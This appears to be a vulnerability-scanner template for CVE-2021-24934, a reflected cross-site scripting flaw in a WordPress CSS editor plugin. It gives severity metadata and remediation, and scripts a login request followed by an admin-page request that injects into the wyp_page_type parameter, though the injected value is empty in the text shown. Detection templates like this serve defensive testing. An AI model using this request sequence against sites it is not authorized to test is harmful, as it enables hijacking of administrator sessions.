id: CVE-2021-24934
info:
name: Visual CSS Style Editor < 7.5.4 - Cross-Site Scripting
author: Splint3r7
severity: medium
description: |
The plugin does not sanitise and escape the wyp_page_type parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue
impact: |
Attackers can inject malicious JavaScript via reflected XSS in the wyp_page_type parameter, potentially stealing administrator session cookies or modifying site appearance.
remediation: |
Update to the latest version of plugin.
reference:
- https://wpscan.com/vulnerability/0aa5a8d5-e736-4cd3-abfd-8e0a356bb6ef/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24934
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24934
cwe-id: CWE-79
epss-score: 0.01397
epss-percentile: 0.68923
cpe: cpe:2.3:a:yellowpencil:visual_css_style_editor:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: yellowpencil
product: visual_css_style_editor
framework: wordpress
publicwww-query: "/wp-content/plugins/yellow-pencil-visual-theme-customizer"
tags: cve,cve2021,wordpress,wp,wp-plugin,yellowpencil,xss,authenticated,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=yellow-pencil-editor&href=1&wyp_page_id=home&wyp_page_type=home&wyp_mode=single&wyp_page_type= HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains_all(body_2, "", "yellow-pencil-iframe-data")'
condition: and
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